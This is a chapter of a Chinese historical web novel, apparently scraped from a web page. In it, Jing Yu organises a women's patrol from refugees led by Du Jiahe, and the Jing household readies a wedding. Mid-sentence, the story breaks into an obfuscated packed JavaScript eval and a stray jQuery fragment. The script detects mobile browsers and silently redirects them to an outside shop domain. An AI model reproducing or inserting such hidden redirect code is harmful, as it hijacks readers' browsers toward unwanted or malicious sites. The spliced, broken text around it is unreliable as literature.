仁济堂的李大夫说,她们来得很及时,若是再拖一两个月,杜嘉苗的咳疾就会变成肺痨。得知她们是流民,李大夫叹息之余,便让药童去后堂代为煎药了,并嘱咐她们,每日三次按时来此喝药。
这夜,杜嘉苗果然不再像前几日那般难受。姐妹二人偎在棚舍的一个小角落,杜嘉苗抱着姐姐的腰,悄声低语:“阿姐,那位景姑娘说的是真的吗?阿姐可以组织巡逻队了?以后是不是可以重新当土官了?”
原来,杜嘉禾姐妹亦是来自播州的土官人家。只是,十年前杜父病逝,彼时杜嘉禾年幼不能服众,杜母孱弱,最后杜父的土官之职让杜嘉禾的堂兄袭了。三年后,杜母亦一病而逝,袭了官职的堂兄开始露出真面目,逐步霸占姐妹俩的家产田地,以至于今岁播州大旱,杜嘉禾再无半点积蓄和余粮,只能带着妹妹,不惜千里离乡求生。
杜嘉禾轻拍着妹妹的小脑袋:“喝了药不咳嗽了,就快睡吧。你快快好起来,姐姐才能安心。大人的事让大人来想。”
在仁济堂的时候,她打听过了,她猜,今日所见之人,十有八九就是招讨司景大人的女儿,比她还小几岁呢,但人家已经带兵剿过匪了!若是父亲仍在,她是不是也可以……或许,她真可以投身这位景姑娘麾下,日后重振家业……
“你要从流民中招募女子,组建巡逻队?”景安民听完,捻着胡须沉吟。
景渔合上手中的花名册,道:“正是。我去几处棚舍转了转,回来又问哥哥要了名册,现在招募的这些人,看着不过尔尔,且各人来历背景大多语焉不详,难保其中没有混进作奸犯科之人。”
景泽挑眉,故意问她:“解决之法就是女子巡逻队?”
景渔指着手边的名册:“衙门所记的,和我今日所见的,大致相符。年轻力壮的早一路过了扞关入蜀了,被抛在后头的大多是年老体迈或妇孺孤寡,若要夜间巡逻,还不如女子让人安心。”
“那要是路遇歹人,女子打不过怎么办?你当谁都是你景无敌啊!”
“那我没说全是女子呀!五五开呗!而且,不是还有土司衙门的人守着呢嘛?打不过还不会喊人?”
“你招得到这么多人吗?”
“不是说了嘛,三日为限!我看这个杜嘉禾就挺不错的,有勇有谋,只要她能把人招起来,我就能把人练出来。”
“哟!口气不小!”景泽觉得好笑,“景大小姐这是要干一票大的?莫非你还想着把她们长长久久地留在石城?你这是募兵呢?”
景渔扬眉:“若这是她们的一条生路,有何不可?而且,我这叫深谋远虑!若是日后播州真的有人反了,我练出来的人,那可就是知己知彼,是最好的探路先锋!”
景安民和景泽闻言,心头俱是莫名一跳。
景安民敛容,道:“这话不可再说了!”
“爹,我晓得!这儿不是没外人嘛。爹,答不答应?”景渔讨好地看着父亲。
“也不是不能答应,只是土司衙门经费有限,朝廷也不会拨银子下来……”
景渔忙截住话头:“这个我想过了,流民所求,不过一顿饱饭。待组建了女子巡逻队之后,来一场考核,把不合格的男子剔除,这样一来,增员有限。我有些体己首饰,明日我就去珍宝斋估价,卖了换粮食。”
景泽讶然:“你哪来的体己首饰?”
“你忘了,我先前救了樊夫人,她送的呀,送了两回呢!”
景泽听了,真是哭笑不得。
景安民对女儿一向纵容,钱的问题解决了,自然是爽快应下。甚至,他心里对女儿练兵这事,隐隐生出期待,他的女儿果然是天下无敌。
景泽看着父女二人脸上的笑容,不得不叹气提醒他们:“爹,还有一个问题,这事,娘同意吗?”父女二人同时一僵。
景渔:“我是这么想的……哥哥迎亲在即,等嫂子进门了,再告诉娘呗。”
景泽:呵,又是瞒着呗!瞒不住了再抓人顶雷呗!
景安民颔首:“有道理,就这么办吧!”
景泽无语:爹啊,您都被她坑多少次了!算了,这次应该怎么都骂不到他头上!
到了八月十三这日,景渔来到城外时,杜嘉禾已经聚拢了二三十个女子在那等候。
景渔唤来招讨司的人,将她们的名字登记造册,而后宣布,招讨司会派人对她们进行为期一月的训练,训练期间,会保证她们的口粮,一个月之后进行考核,通过者进入巡逻队,巡逻队员除了口粮之外,每月还能领取一百文工钱。
众人听了,无不欣喜,吃饱肚子之余,若还能每月领一百个铜板,便能做上一两身冬衣,只要能捱过这个冬日,便有望在来年春日返回故园,重整田地。
待众人散去之后,景渔又把杜嘉禾单独留在一边说话。
“你妹妹的咳嗽好了吗?”
杜嘉禾没想到景渔先问的竟是这个,心中感激,连忙道谢,将仁济堂一节告知景渔。
景渔又问:“你会一点功夫,还读过书,家里以前是做什么的?”她注意到,方才登记名册时,众人名姓是哪些字,都是杜嘉禾一一说给动笔之人的。
杜嘉禾怔了片刻,才道出身世。
景渔听了,不免替她唏嘘,然感慨之余,依旧正色交待:“你祖上既是土官,当更能明白法不严不足以驭下之理。我心里认你是她们的队长,你需督促她们好好训练,一月之后的考核不仅是对你们,也是对所有人,过则留,不过则去,我不会偏私的。”
杜嘉禾连声应诺。
景渔离去前,又道:“最近我家中要办喜事,我不会经常出来。若是你遇到为难之事,可去城北宝象街景府寻我。”
景渔去后,杜嘉禾独自出神许久,心中越发肯定,若是能留在石城跟随景渔,未尝不是一条好出路,至少比她带着妹妹茫然入蜀,不知要好多少!
到了十四这日,景家每一个院落每一块砖都被仔细清扫了一遍,就连前院马
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755041|209501||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
厩里的每一匹马都被刷得干干净净,马蹄里的陈年老垢都被剔了出来。
十五这日,景家门首张灯结彩,八盏红纱灯笼一字排开高高挂在门楼,仪门进去,五间坐北朝南的厅堂,门窗大敞,桌椅锃亮,安设着锦帐围屏,只待明日摆设酒席。
宋记点心铺的小厮流水般的进出着,往来不绝搬运着一盘盘小山似的蒸酥点心、羹果礼盒。景渔随意揭开一盒,只见顶皮饼、松花饼、白糖万寿糕、玫瑰搽穰卷儿等满满堆叠其中。
又有景家下人忙着在门口搭设喜棚,预备明日给城中百姓派发喜饼。
李氏还大方地拨了一笔银子给景安民,由着招讨司请了城内酒楼做了数千炊饼,待明日派发给石城流民。李氏这么做,无非是想结个善缘,惟愿城内城外安安稳稳,无人生事,让丈夫和儿女能少些奔波,少些刀光剑影。
这日夜里,景家阖府灯火不熄。
李氏打发了家下众人早早歇息,养足精神以待明日宾客,自家五口倒是没有什么睡意。为了景泽成亲,这个中秋李氏就没预备着隆重地过,但是厨房仍是备下了月饼和各色拜月瓜果。
几人既无睡意,干脆自己动手,就在正院的葡萄架下摆了一桌,一家人闲坐下来,顿时生出几分不真实之感。
尤其是景安民,看着坐在对面的长子,想着他明日就要娶妻了,脑海中闪过他被稳婆用大红包被裹着、递给自己的画面,眼角余光又扫到正在跟长子说笑的女儿,想着再过半年她也要嫁人,来年中秋她就要在别人家过了,老父亲一时又喜又悲,情不自禁地掉下两滴泪来,慌忙抬手擦拭。
李氏抬抬眼皮就知道他在想什么,又好笑又无奈,取过酒壶倒了一杯酒,往他面前重重一放,道:“景招讨,景大人,行了,别婆婆妈妈的!谁家儿女大了,不成家立业的?明日宾客面前,你可别给我丢人!”
“哎呀,爹是喜极而泣!娘,我们也喝一杯吧?”景渔还不知道他爹是为了要嫁她而伤感,自顾自地接过酒壶,满满地倒了三杯,剩下景淇那一杯自然是要换成糖水的,她高高举杯,“来,贺我玉树临风的哥哥小登科之喜!”
李氏笑盈盈地举杯,景泽脸红,但也随着妹妹闹,景安民仰头喝了一杯,这会儿又自己满上,景淇也乐呵呵的,他可是争取到了明日一起去迎亲呢,五个杯子碰在一起,一轮圆月升在正当空,正是:琼浆满泛琉璃盏,明月漾出琥珀光。
一家人说说笑笑,很快就熬到了三更时分。
李氏一看漏下三鼓,忙催着景泽去沐浴更衣,毕竟,忠州说近不近说远不远,待到四更上,景泽就该出发去迎亲了!
不多时,就见景泽从头到脚换了一身出来,头戴金纱冠,身穿红锦袍,腰束碧玉带,脚下一双玄色缎鞋,景淇亦换了一身杭州织造的大红五彩罗衣,跟着哥哥一齐走到大门外。
迎亲队伍和招讨司压阵的六十精兵等候在此,景泽带着弟弟跨上青骢马,一行人浩浩荡荡地直奔忠州而去。